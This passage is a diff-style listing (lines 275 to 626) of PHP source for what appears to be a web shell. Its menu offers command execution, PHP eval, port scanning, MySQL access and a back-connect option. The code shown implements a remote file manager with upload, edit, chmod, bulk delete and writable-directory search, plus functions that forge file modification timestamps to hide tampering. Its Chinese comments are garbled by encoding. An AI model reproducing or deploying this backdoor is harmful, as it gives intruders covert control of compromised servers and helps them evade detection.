| 275 | $('recordlist').tablename.value=tablename; | 275 | $('recordlist').tablename.value=tablename; |
| 276 | $('recordlist').submit(); | 276 | $('recordlist').submit(); |
| 277 | } | 277 | } |
| 278 | function moddbname(dbname) { | 278 | function moddbname(dbname) { |
| 279 | if(!dbname) return; | 279 | if(!dbname) return; |
| 280 | $('setdbname').dbname.value=dbname; | 280 | $('setdbname').dbname.value=dbname; |
| 281 | $('setdbname').submit(); | 281 | $('setdbname').submit(); |
| 282 | } | 282 | } |
| 283 | function settable(tablename,doing,page) { | 283 | function settable(tablename,doing,page) { |
| 284 | if(!tablename) return; | 284 | if(!tablename) return; |
| 285 | if (doing) { | 285 | if (doing) { |
| 286 | $('settable').doing.value=doing; | 286 | $('settable').doing.value=doing; |
| 287 | } | 287 | } |
| 288 | if (page) { | 288 | if (page) { |
| 289 | $('settable').page.value=page; | 289 | $('settable').page.value=page; |
| 290 | } | 290 | } |
| 291 | $('settable').tablename.value=tablename; | 291 | $('settable').tablename.value=tablename; |
| 292 | $('settable').submit(); | 292 | $('settable').submit(); |
| 293 | } | 293 | } |
| 294 | function s(action,nowpath,p1,p2,p3,p4,p5) { | 294 | function s(action,nowpath,p1,p2,p3,p4,p5) { |
| 295 | if(action) $('opform').action.value=action; | 295 | if(action) $('opform').action.value=action; |
| 296 | if(nowpath) $('opform').nowpath.value=nowpath; | 296 | if(nowpath) $('opform').nowpath.value=nowpath; |
| 297 | if(p1) $('opform').p1.value=p1; | 297 | if(p1) $('opform').p1.value=p1; |
| 298 | if(p2) $('opform').p2.value=p2; | 298 | if(p2) $('opform').p2.value=p2; |
| 299 | if(p3) $('opform').p3.value=p3; | 299 | if(p3) $('opform').p3.value=p3; |
| 300 | if(p4) $('opform').p4.value=p4; | 300 | if(p4) $('opform').p4.value=p4; |
| 301 | if(p5) $('opform').p4.value=p5; | 301 | if(p5) $('opform').p4.value=p5; |
| 302 | } | 302 | } |
| 303 | function g(action,nowpath,p1,p2,p3,p4,p5) { | 303 | function g(action,nowpath,p1,p2,p3,p4,p5) { |
| 304 | if(!action) return; | 304 | if(!action) return; |
| 305 | s(action,nowpath,p1,p2,p3,p4,p5); | 305 | s(action,nowpath,p1,p2,p3,p4,p5); |
| 306 | $('opform').submit(); | 306 | $('opform').submit(); |
| 307 | } | 307 | } |
| 308 | </script> | 308 | </script> |
| 309 | </head> | 309 | </head> |
| 310 | <body style="margin:0;table-layout:fixed; word-break:break-all"> | 310 | <body style="margin:0;table-layout:fixed; word-break:break-all"> |
| 311 | <?php | 311 | <?php |
| 312 | formhead(array('name'=>'opform')); | 312 | formhead(array('name'=>'opform')); |
| 313 | makehide('action', $action); | 313 | makehide('action', $action); |
| 314 | makehide('nowpath', $nowpath); | 314 | makehide('nowpath', $nowpath); |
| 315 | makehide('p1', $p1); | 315 | makehide('p1', $p1); |
| 316 | makehide('p2', $p2); | 316 | makehide('p2', $p2); |
| 317 | makehide('p3', $p3); | 317 | makehide('p3', $p3); |
| 318 | makehide('p4', $p4); | 318 | makehide('p4', $p4); |
| 319 | makehide('p5', $p5); | 319 | makehide('p5', $p5); |
| 320 | formfoot(); | 320 | formfoot(); |
| 321 | 321 | ||
| 322 | if(!function_exists('posix_getegid')) { | 322 | if(!function_exists('posix_getegid')) { |
| 323 | $user = @get_current_user(); | 323 | $user = @get_current_user(); |
| 324 | $uid = @getmyuid(); | 324 | $uid = @getmyuid(); |
| 325 | $gid = @getmygid(); | 325 | $gid = @getmygid(); |
| 326 | $group = "?"; | 326 | $group = "?"; |
| 327 | } else { | 327 | } else { |
| 328 | $uid = @posix_getpwuid(@posix_geteuid()); | 328 | $uid = @posix_getpwuid(@posix_geteuid()); |
| 329 | $gid = @posix_getgrgid(@posix_getegid()); | 329 | $gid = @posix_getgrgid(@posix_getegid()); |
| 330 | $user = $uid['name']; | 330 | $user = $uid['name']; |
| 331 | $uid = $uid['uid']; | 331 | $uid = $uid['uid']; |
| 332 | $group = $gid['name']; | 332 | $group = $gid['name']; |
| 333 | $gid = $gid['gid']; | 333 | $gid = $gid['gid']; |
| 334 | } | 334 | } |
| 335 | 335 | ||
| 336 | ?> | 336 | ?> |
| 337 | <table width="100%" border="0" cellpadding="0" cellspacing="0"> | 337 | <table width="100%" border="0" cellpadding="0" cellspacing="0"> |
| 338 | <tr class="head"> | 338 | <tr class="head"> |
| 339 | <td><span style="float:right;"><?php echo @php_uname();?> / User:<?php echo $uid.' ( '.$user.' ) / Group: '.$gid.' ( '.$group.' )';?></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td> | 339 | <td><span style="float:right;"><?php echo @php_uname();?> / User:<?php echo $uid.' ( '.$user.' ) / Group: '.$gid.' ( '.$group.' )';?></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td> |
| 340 | </tr> | 340 | </tr> |
| 341 | <tr class="alt1"> | 341 | <tr class="alt1"> |
| 342 | <td> | 342 | <td> |
| 343 | <span style="float:right;">PHP <?php echo PHP_VERSION;?> / Safe Mode:<?php echo getcfg('safe_mode');?></span> | 343 | <span style="float:right;">PHP <?php echo PHP_VERSION;?> / Safe Mode:<?php echo getcfg('safe_mode');?></span> |
| 344 | <a href="javascript:g('logout');">Logout</a> | | 344 | <a href="javascript:g('logout');">Logout</a> | |
| 345 | <a href="javascript:g('file');">File Manager</a> | | 345 | <a href="javascript:g('file');">File Manager</a> | |
| 346 | <a href="javascript:g('mysqladmin');">MYSQL Manager</a> | | 346 | <a href="javascript:g('mysqladmin');">MYSQL Manager</a> | |
| 347 | <a href="javascript:g('sqlfile');">MySQL Upload & Download</a> | | 347 | <a href="javascript:g('sqlfile');">MySQL Upload & Download</a> | |
| 348 | <a href="javascript:g('shell');">Execute Command</a> | | 348 | <a href="javascript:g('shell');">Execute Command</a> | |
| 349 | <a href="javascript:g('phpenv');">PHP Variable</a> | | 349 | <a href="javascript:g('phpenv');">PHP Variable</a> | |
| 350 | <a href="javascript:g('portscan');">Port Scan</a> | | 350 | <a href="javascript:g('portscan');">Port Scan</a> | |
| 351 | <a href="javascript:g('secinfo');">Security information</a> | | 351 | <a href="javascript:g('secinfo');">Security information</a> | |
| 352 | <a href="javascript:g('eval');">Eval PHP Code</a> | 352 | <a href="javascript:g('eval');">Eval PHP Code</a> |
| 353 | <?php if (!IS_WIN) {?> | <a href="javascript:g('backconnect');">Back Connect</a><?php }?> | 353 | <?php if (!IS_WIN) {?> | <a href="javascript:g('backconnect');">Back Connect</a><?php }?> |
| 354 | </td> | 354 | </td> |
| 355 | </tr> | 355 | </tr> |
| 356 | </table> | 356 | </table> |
| 357 | <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td> | 357 | <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td> |
| 358 | <?php | 358 | <?php |
| 359 | $errmsg && m($errmsg); | 359 | $errmsg && m($errmsg); |
| 360 | 360 | ||
| 361 | // »ñÈ¡µ±Ç°Â·¾¶ | 361 | // »ñÈ¡µ±Ç°Â·¾¶ |
| 362 | if (!$dir) { | 362 | if (!$dir) { |
| 363 | $dir = $_SERVER["DOCUMENT_ROOT"] ? $_SERVER["DOCUMENT_ROOT"] : '.'; | 363 | $dir = $_SERVER["DOCUMENT_ROOT"] ? $_SERVER["DOCUMENT_ROOT"] : '.'; |
| 364 | } | 364 | } |
| 365 | $nowpath = getPath(SA_ROOT, $dir); | 365 | $nowpath = getPath(SA_ROOT, $dir); |
| 366 | if (substr($dir, -1) != '/') { | 366 | if (substr($dir, -1) != '/') { |
| 367 | $dir = $dir.'/'; | 367 | $dir = $dir.'/'; |
| 368 | } | 368 | } |
| 369 | 369 | ||
| 370 | if ($action == 'file') { | 370 | if ($action == 'file') { |
| 371 | 371 | ||
| 372 | // Åж϶ÁдÇé¿ö | 372 | // Åж϶ÁдÇé¿ö |
| 373 | $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable'; | 373 | $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable'; |
| 374 | 374 | ||
| 375 | // ´´½¨Ä¿Â¼ | 375 | // ´´½¨Ä¿Â¼ |
| 376 | if ($newdirname) { | 376 | if ($newdirname) { |
| 377 | $mkdirs = $nowpath.$newdirname; | 377 | $mkdirs = $nowpath.$newdirname; |
| 378 | if (file_exists($mkdirs)) { | 378 | if (file_exists($mkdirs)) { |
| 379 | m('Directory has already existed'); | 379 | m('Directory has already existed'); |
| 380 | } else { | 380 | } else { |
| 381 | m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed')); | 381 | m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed')); |
| 382 | @chmod($mkdirs,0777); | 382 | @chmod($mkdirs,0777); |
| 383 | } | 383 | } |
| 384 | } | 384 | } |
| 385 | 385 | ||
| 386 | // ÉÏ´«Îļþ | 386 | // ÉÏ´«Îļþ |
| 387 | elseif ($doupfile) { | 387 | elseif ($doupfile) { |
| 388 | m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed')); | 388 | m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed')); |
| 389 | } | 389 | } |
| 390 | 390 | ||
| 391 | // ±à¼Îļþ | 391 | // ±à¼Îļþ |
| 392 | elseif ($editfilename && $filecontent) { | 392 | elseif ($editfilename && $filecontent) { |
| 393 | $fp = @fopen($editfilename,'w'); | 393 | $fp = @fopen($editfilename,'w'); |
| 394 | m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed')); | 394 | m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed')); |
| 395 | @fclose($fp); | 395 | @fclose($fp); |
| 396 | } | 396 | } |
| 397 | 397 | ||
| 398 | // ±à¼ÎļþÊôÐÔ | 398 | // ±à¼ÎļþÊôÐÔ |
| 399 | elseif ($pfile && $newperm) { | 399 | elseif ($pfile && $newperm) { |
| 400 | if (!file_exists($pfile)) { | 400 | if (!file_exists($pfile)) { |
| 401 | m('The original file does not exist'); | 401 | m('The original file does not exist'); |
| 402 | } else { | 402 | } else { |
| 403 | $newperm = base_convert($newperm,8,10); | 403 | $newperm = base_convert($newperm,8,10); |
| 404 | m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed')); | 404 | m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed')); |
| 405 | } | 405 | } |
| 406 | } | 406 | } |
| 407 | 407 | ||
| 408 | // ¸ÄÃû | 408 | // ¸ÄÃû |
| 409 | elseif ($oldname && $newfilename) { | 409 | elseif ($oldname && $newfilename) { |
| 410 | $nname = $nowpath.$newfilename; | 410 | $nname = $nowpath.$newfilename; |
| 411 | if (file_exists($nname) || !file_exists($oldname)) { | 411 | if (file_exists($nname) || !file_exists($oldname)) { |
| 412 | m($nname.' has already existed or original file does not exist'); | 412 | m($nname.' has already existed or original file does not exist'); |
| 413 | } else { | 413 | } else { |
| 414 | m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed')); | 414 | m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed')); |
| 415 | } | 415 | } |
| 416 | } | 416 | } |
| 417 | 417 | ||
| 418 | // ¸´ÖÆÎļþ | 418 | // ¸´ÖÆÎļþ |
| 419 | elseif ($sname && $tofile) { | 419 | elseif ($sname && $tofile) { |
| 420 | if (file_exists($tofile) || !file_exists($sname)) { | 420 | if (file_exists($tofile) || !file_exists($sname)) { |
| 421 | m('The goal file has already existed or original file does not exist'); | 421 | m('The goal file has already existed or original file does not exist'); |
| 422 | } else { | 422 | } else { |
| 423 | m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed')); | 423 | m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed')); |
| 424 | } | 424 | } |
| 425 | } | 425 | } |
| 426 | 426 | ||
| 427 | // ¿Ë¡ʱ¼ä | 427 | // ¿Ë¡ʱ¼ä |
| 428 | elseif ($curfile && $tarfile) { | 428 | elseif ($curfile && $tarfile) { |
| 429 | if (!@file_exists($curfile) || !@file_exists($tarfile)) { | 429 | if (!@file_exists($curfile) || !@file_exists($tarfile)) { |
| 430 | m('The goal file has already existed or original file does not exist'); | 430 | m('The goal file has already existed or original file does not exist'); |
| 431 | } else { | 431 | } else { |
| 432 | $time = @filemtime($tarfile); | 432 | $time = @filemtime($tarfile); |
| 433 | m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed')); | 433 | m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed')); |
| 434 | } | 434 | } |
| 435 | } | 435 | } |
| 436 | 436 | ||
| 437 | // ×Ô¶¨Òåʱ¼ä | 437 | // ×Ô¶¨Òåʱ¼ä |
| 438 | elseif ($curfile && $year && $month && $day && $hour && $minute && $second) { | 438 | elseif ($curfile && $year && $month && $day && $hour && $minute && $second) { |
| 439 | if (!@file_exists($curfile)) { | 439 | if (!@file_exists($curfile)) { |
| 440 | m(basename($curfile).' does not exist'); | 440 | m(basename($curfile).' does not exist'); |
| 441 | } else { | 441 | } else { |
| 442 | $time = strtotime("$year-$month-$day $hour:$minute:$second"); | 442 | $time = strtotime("$year-$month-$day $hour:$minute:$second"); |
| 443 | m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed')); | 443 | m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed')); |
| 444 | } | 444 | } |
| 445 | } | 445 | } |
| 446 | 446 | ||
| 447 | // ÅúÁ¿É¾³ýÎļþ | 447 | // ÅúÁ¿É¾³ýÎļþ |
| 448 | elseif($doing == 'delfiles') { | 448 | elseif($doing == 'delfiles') { |
| 449 | if ($dl) { | 449 | if ($dl) { |
| 450 | $dfiles=''; | 450 | $dfiles=''; |
| 451 | $succ = $fail = 0; | 451 | $succ = $fail = 0; |
| 452 | foreach ($dl as $filepath) { | 452 | foreach ($dl as $filepath) { |
| 453 | if (is_dir($filepath)) { | 453 | if (is_dir($filepath)) { |
| 454 | if (@deltree($filepath)) { | 454 | if (@deltree($filepath)) { |
| 455 | $succ++; | 455 | $succ++; |
| 456 | } else { | 456 | } else { |
| 457 | $fail++; | 457 | $fail++; |
| 458 | } | 458 | } |
| 459 | } else { | 459 | } else { |
| 460 | if (@unlink($filepath)) { | 460 | if (@unlink($filepath)) { |
| 461 | $succ++; | 461 | $succ++; |
| 462 | } else { | 462 | } else { |
| 463 | $fail++; | 463 | $fail++; |
| 464 | } | 464 | } |
| 465 | } | 465 | } |
| 466 | } | 466 | } |
| 467 | m('Deleted folder/file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail); | 467 | m('Deleted folder/file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail); |
| 468 | } else { | 468 | } else { |
| 469 | m('Please select folder/file(s)'); | 469 | m('Please select folder/file(s)'); |
| 470 | } | 470 | } |
| 471 | } | 471 | } |
| 472 | 472 | ||
| 473 | //²Ù×÷Íê±Ï | 473 | //²Ù×÷Íê±Ï |
| 474 | formhead(array('name'=>'createdir')); | 474 | formhead(array('name'=>'createdir')); |
| 475 | makehide('newdirname'); | 475 | makehide('newdirname'); |
| 476 | makehide('dir',$nowpath); | 476 | makehide('dir',$nowpath); |
| 477 | formfoot(); | 477 | formfoot(); |
| 478 | formhead(array('name'=>'fileperm')); | 478 | formhead(array('name'=>'fileperm')); |
| 479 | makehide('newperm'); | 479 | makehide('newperm'); |
| 480 | makehide('pfile'); | 480 | makehide('pfile'); |
| 481 | makehide('dir',$nowpath); | 481 | makehide('dir',$nowpath); |
| 482 | formfoot(); | 482 | formfoot(); |
| 483 | formhead(array('name'=>'copyfile')); | 483 | formhead(array('name'=>'copyfile')); |
| 484 | makehide('sname'); | 484 | makehide('sname'); |
| 485 | makehide('tofile'); | 485 | makehide('tofile'); |
| 486 | makehide('dir',$nowpath); | 486 | makehide('dir',$nowpath); |
| 487 | formfoot(); | 487 | formfoot(); |
| 488 | formhead(array('name'=>'rename')); | 488 | formhead(array('name'=>'rename')); |
| 489 | makehide('oldname'); | 489 | makehide('oldname'); |
| 490 | makehide('newfilename'); | 490 | makehide('newfilename'); |
| 491 | makehide('dir',$nowpath); | 491 | makehide('dir',$nowpath); |
| 492 | formfoot(); | 492 | formfoot(); |
| 493 | formhead(array('name'=>'fileopform', 'target'=>'_blank')); | 493 | formhead(array('name'=>'fileopform', 'target'=>'_blank')); |
| 494 | makehide('action'); | 494 | makehide('action'); |
| 495 | makehide('opfile'); | 495 | makehide('opfile'); |
| 496 | makehide('dir'); | 496 | makehide('dir'); |
| 497 | formfoot(); | 497 | formfoot(); |
| 498 | formhead(array('name'=>'getsize')); | 498 | formhead(array('name'=>'getsize')); |
| 499 | makehide('getdir'); | 499 | makehide('getdir'); |
| 500 | makehide('dir'); | 500 | makehide('dir'); |
| 501 | formfoot(); | 501 | formfoot(); |
| 502 | 502 | ||
| 503 | $free = @disk_free_space($nowpath); | 503 | $free = @disk_free_space($nowpath); |
| 504 | !$free && $free = 0; | 504 | !$free && $free = 0; |
| 505 | $all = @disk_total_space($nowpath); | 505 | $all = @disk_total_space($nowpath); |
| 506 | !$all && $all = 0; | 506 | !$all && $all = 0; |
| 507 | $used = $all-$free; | 507 | $used = $all-$free; |
| 508 | p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.@round(100/($all/$free),2).'%)</h2>'); | 508 | p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.@round(100/($all/$free),2).'%)</h2>'); |
| 509 | 509 | ||
| 510 | $cwd_links = ''; | 510 | $cwd_links = ''; |
| 511 | $path = explode('/', $nowpath); | 511 | $path = explode('/', $nowpath); |
| 512 | $n=count($path); | 512 | $n=count($path); |
| 513 | for($i=0;$i<$n-1;$i++) { | 513 | for($i=0;$i<$n-1;$i++) { |
| 514 | $cwd_links .= '<a href="javascript:godir(\''; | 514 | $cwd_links .= '<a href="javascript:godir(\''; |
| 515 | for($j=0;$j<=$i;$j++) { | 515 | for($j=0;$j<=$i;$j++) { |
| 516 | $cwd_links .= $path[$j].'/'; | 516 | $cwd_links .= $path[$j].'/'; |
| 517 | } | 517 | } |
| 518 | $cwd_links .= '\');">'.$path[$i].'/</a>'; | 518 | $cwd_links .= '\');">'.$path[$i].'/</a>'; |
| 519 | } | 519 | } |
| 520 | 520 | ||
| 521 | ?> | 521 | ?> |
| 522 | <script type="text/javascript"> | 522 | <script type="text/javascript"> |
| 523 | document.onclick = shownav; | 523 | document.onclick = shownav; |
| 524 | function shownav(e){ | 524 | function shownav(e){ |
| 525 | var src = e?e.target:event.srcElement; | 525 | var src = e?e.target:event.srcElement; |
| 526 | do{ | 526 | do{ |
| 527 | if(src.id =="jumpto") { | 527 | if(src.id =="jumpto") { |
| 528 | $('inputnav').style.display = ""; | 528 | $('inputnav').style.display = ""; |
| 529 | $('pathnav').style.display = "none"; | 529 | $('pathnav').style.display = "none"; |
| 530 | //hidenav(); | 530 | //hidenav(); |
| 531 | return; | 531 | return; |
| 532 | } | 532 | } |
| 533 | if(src.id =="inputnav") { | 533 | if(src.id =="inputnav") { |
| 534 | return; | 534 | return; |
| 535 | } | 535 | } |
| 536 | src = src.parentNode; | 536 | src = src.parentNode; |
| 537 | }while(src.parentNode) | 537 | }while(src.parentNode) |
| 538 | 538 | ||
| 539 | $('inputnav').style.display = "none"; | 539 | $('inputnav').style.display = "none"; |
| 540 | $('pathnav').style.display = ""; | 540 | $('pathnav').style.display = ""; |
| 541 | } | 541 | } |
| 542 | </script> | 542 | </script> |
| 543 | <div style="background:#eee;margin-bottom:10px;"> | 543 | <div style="background:#eee;margin-bottom:10px;"> |
| 544 | <table id="pathnav" width="100%" border="0" cellpadding="5" cellspacing="0"> | 544 | <table id="pathnav" width="100%" border="0" cellpadding="5" cellspacing="0"> |
| 545 | <tr> | 545 | <tr> |
| 546 | <td width="100%"><?php echo $cwd_links.' - '.getChmod($nowpath).' / '.getPerms($nowpath).getUser($nowpath);?> (<?php echo $dir_writeable;?>)</td> | 546 | <td width="100%"><?php echo $cwd_links.' - '.getChmod($nowpath).' / '.getPerms($nowpath).getUser($nowpath);?> (<?php echo $dir_writeable;?>)</td> |
| 547 | <td nowrap><input class="bt" id="jumpto" name="jumpto" value="Jump to" type="button"></td> | 547 | <td nowrap><input class="bt" id="jumpto" name="jumpto" value="Jump to" type="button"></td> |
| 548 | </tr> | 548 | </tr> |
| 549 | </table> | 549 | </table> |
| 550 | <table id="inputnav" width="100%" border="0" cellpadding="5" cellspacing="0" style="display:none;"> | 550 | <table id="inputnav" width="100%" border="0" cellpadding="5" cellspacing="0" style="display:none;"> |
| 551 | <form action="" method="post" id="godir" name="godir"> | 551 | <form action="" method="post" id="godir" name="godir"> |
| 552 | <tr> | 552 | <tr> |
| 553 | <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td> | 553 | <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td> |
| 554 | <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:99%;margin:0 8px;"></td> | 554 | <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:99%;margin:0 8px;"></td> |
| 555 | <td nowrap><input class="bt" value="GO" type="submit"></td> | 555 | <td nowrap><input class="bt" value="GO" type="submit"></td> |
| 556 | </tr> | 556 | </tr> |
| 557 | </form> | 557 | </form> |
| 558 | </table> | 558 | </table> |
| 559 | <?php | 559 | <?php |
| 560 | if (IS_WIN && IS_COM) { | 560 | if (IS_WIN && IS_COM) { |
| 561 | $obj = new COM('scripting.filesystemobject'); | 561 | $obj = new COM('scripting.filesystemobject'); |
| 562 | if ($obj && is_object($obj) && $obj->Drives) { | 562 | if ($obj && is_object($obj) && $obj->Drives) { |
| 563 | echo '<div class="drives">'; | 563 | echo '<div class="drives">'; |
| 564 | $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk'); | 564 | $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk'); |
| 565 | $comma = ''; | 565 | $comma = ''; |
| 566 | foreach($obj->Drives as $drive) { | 566 | foreach($obj->Drives as $drive) { |
| 567 | if ($drive->Path) { | 567 | if ($drive->Path) { |
| 568 | p($comma.'<a href="javascript:godir(\''.$drive->Path.'/\');">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>'); | 568 | p($comma.'<a href="javascript:godir(\''.$drive->Path.'/\');">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>'); |
| 569 | $comma = '<span>|</span>'; | 569 | $comma = '<span>|</span>'; |
| 570 | } | 570 | } |
| 571 | } | 571 | } |
| 572 | echo '</div>'; | 572 | echo '</div>'; |
| 573 | } | 573 | } |
| 574 | } | 574 | } |
| 575 | ?> | 575 | ?> |
| 576 | </div> | 576 | </div> |
| 577 | <?php | 577 | <?php |
| 578 | $findstr = $_POST['findstr']; | 578 | $findstr = $_POST['findstr']; |
| 579 | $re = $_POST['re']; | 579 | $re = $_POST['re']; |
| 580 | tbhead(); | 580 | tbhead(); |
| 581 | p('<tr class="alt1"><td colspan="7" style="padding:5px;line-height:20px;">'); | 581 | p('<tr class="alt1"><td colspan="7" style="padding:5px;line-height:20px;">'); |
| 582 | p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$nowpath.'" type="hidden" /><input name="dir" value="'.$nowpath.'" type="hidden" /></div></form>'); | 582 | p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$nowpath.'" type="hidden" /><input name="dir" value="'.$nowpath.'" type="hidden" /></div></form>'); |
| 583 | p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>'); | 583 | p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>'); |
| 584 | p(' | <a href="javascript:godir(\'.\');">ScriptPath</a>'); | 584 | p(' | <a href="javascript:godir(\'.\');">ScriptPath</a>'); |
| 585 | p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>'); | 585 | p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>'); |
| 586 | p(' | View Writable ( <a href="javascript:godir(\''.$nowpath.'\',\'dir\');">Directory</a>'); | 586 | p(' | View Writable ( <a href="javascript:godir(\''.$nowpath.'\',\'dir\');">Directory</a>'); |
| 587 | p(' | <a href="javascript:godir(\''.$nowpath.'\',\'file\');">File</a> )'); | 587 | p(' | <a href="javascript:godir(\''.$nowpath.'\',\'file\');">File</a> )'); |
| 588 | p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>'); | 588 | p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>'); |
| 589 | 589 | ||
| 590 | p('<div style="padding:5px 0;"><form action="'.$self.'" method="POST">Find string in files(current folder): <input class="input" name="findstr" value="'.$findstr.'" type="text" /> <input class="bt" value="Find" type="submit" /> Type: <input class="input" name="writabledb" value="'.$writabledb.'" type="text" /><input name="dir" value="'.$dir.'" type="hidden" /> <input name="re" value="1" type="checkbox" '.($re ? 'checked' : '').' /> Regular expressions</form></div></td></tr>'); | 590 | p('<div style="padding:5px 0;"><form action="'.$self.'" method="POST">Find string in files(current folder): <input class="input" name="findstr" value="'.$findstr.'" type="text" /> <input class="bt" value="Find" type="submit" /> Type: <input class="input" name="writabledb" value="'.$writabledb.'" type="text" /><input name="dir" value="'.$dir.'" type="hidden" /> <input name="re" value="1" type="checkbox" '.($re ? 'checked' : '').' /> Regular expressions</form></div></td></tr>'); |
| 591 | 591 | ||
| 592 | p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>'); | 592 | p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>'); |
| 593 | 593 | ||
| 594 | //²é¿´ËùÓпÉдÎļþºÍĿ¼ | 594 | //²é¿´ËùÓпÉдÎļþºÍĿ¼ |
| 595 | $dirdata=array(); | 595 | $dirdata=array(); |
| 596 | $filedata=array(); | 596 | $filedata=array(); |
| 597 | 597 | ||
| 598 | if ($view_writable == 'dir') { | 598 | if ($view_writable == 'dir') { |
| 599 | $dirdata = GetWDirList($nowpath); | 599 | $dirdata = GetWDirList($nowpath); |
| 600 | $filedata = array(); | 600 | $filedata = array(); |
| 601 | } elseif ($view_writable == 'file') { | 601 | } elseif ($view_writable == 'file') { |
| 602 | $dirdata = array(); | 602 | $dirdata = array(); |
| 603 | $filedata = GetWFileList($nowpath); | 603 | $filedata = GetWFileList($nowpath); |
| 604 | } elseif ($findstr) { | 604 | } elseif ($findstr) { |
| 605 | $dirdata = array(); | 605 | $dirdata = array(); |
| 606 | $filedata = GetSFileList($nowpath, $findstr, $re); | 606 | $filedata = GetSFileList($nowpath, $findstr, $re); |
| 607 | } else { | 607 | } else { |
| 608 | // Ŀ¼Áбí | 608 | // Ŀ¼Áбí |
| 609 | //scandir()ЧÂʸü¸ß | 609 | //scandir()ЧÂʸü¸ß |
| 610 | $dirs=@opendir($dir); | 610 | $dirs=@opendir($dir); |
| 611 | while ($file=@readdir($dirs)) { | 611 | while ($file=@readdir($dirs)) { |
| 612 | $filepath=$nowpath.$file; | 612 | $filepath=$nowpath.$file; |
| 613 | if(@is_dir($filepath)){ | 613 | if(@is_dir($filepath)){ |
| 614 | $dirdb['filename']=$file; | 614 | $dirdb['filename']=$file; |
| 615 | $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath)); | 615 | $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath)); |
| 616 | $dirdb['dirchmod']=getChmod($filepath); | 616 | $dirdb['dirchmod']=getChmod($filepath); |
| 617 | $dirdb['dirperm']=getPerms($filepath); | 617 | $dirdb['dirperm']=getPerms($filepath); |
| 618 | $dirdb['fileowner']=getUser($filepath); | 618 | $dirdb['fileowner']=getUser($filepath); |
| 619 | $dirdb['dirlink']=$nowpath; | 619 | $dirdb['dirlink']=$nowpath; |
| 620 | $dirdb['server_link']=$filepath; | 620 | $dirdb['server_link']=$filepath; |
| 621 | $dirdata[]=$dirdb; | 621 | $dirdata[]=$dirdb; |
| 622 | } else { | 622 | } else { |
| 623 | $filedb['filename']=$file; | 623 | $filedb['filename']=$file; |
| 624 | $filedb['size']=sizecount(@filesize($filepath)); | 624 | $filedb['size']=sizecount(@filesize($filepath)); |
| 625 | $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath)); | 625 | $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath)); |
| 626 | $filedb['filechmod']=getChmod($filepath); | 626 | $filedb['filechmod']=getChmod($filepath); |
